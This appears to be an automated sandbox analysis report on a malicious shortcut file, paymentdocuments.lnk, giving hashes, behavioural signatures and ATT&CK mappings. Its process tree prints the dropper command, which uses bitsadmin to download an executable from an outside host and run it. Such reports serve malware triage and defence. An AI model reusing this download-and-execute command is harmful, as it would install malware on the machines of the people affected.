9f7365963ec98ff9ebaef34b5bf874c835f6cecda6646b5e6422c7a2b8b7692d

Analysis

max time kernel
124s
max time network
133s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
02-02-2023 13:40

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General

Target

paymentdocuments.lnk
Size

2KB
MD5

043991eeea237ac12513ae5741193655
SHA1

a9c0fe39859b3c47f9adb410431ee591e1aeffcf
SHA256

db52b6d029185eca3936b2086a0f6afb7ea8303eecc392c637c5595e510afb36
SHA512

94c1c957d04c5ca2f1c7bea65aa8bfe91ac38c5b93141a1f53b8144fc17646647641558cb6d7a0a4c2ab01a201812226ce34ee25006f76c052f05934da2fb5fd

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2268	bitsadmin.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4652 wrote to memory of 4788	4652	cmd.exe	81
PID 4652 wrote to memory of 4788	4652	cmd.exe	81
PID 4788 wrote to memory of 2268	4788	cmd.exe	82
PID 4788 wrote to memory of 2268	4788	cmd.exe	82

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\paymentdocuments.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "bitsadmin /transfer bitstranshg /priority foreground http://afirmfwc.org/10873.exe C:\Users\Admin\AppData\Local\Temp\HbdHnshBc.exe > NUL & start C:\Users\Admin\AppData\Local\Temp\HbdHnshBc.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4788
- - C:\Windows\system32\bitsadmin.exe
    bitsadmin /transfer bitstranshg /priority foreground http://afirmfwc.org/10873.exe C:\Users\Admin\AppData\Local\Temp\HbdHnshBc.exe
    3⤵
    - Download via BitsAdmin
    PID:2268

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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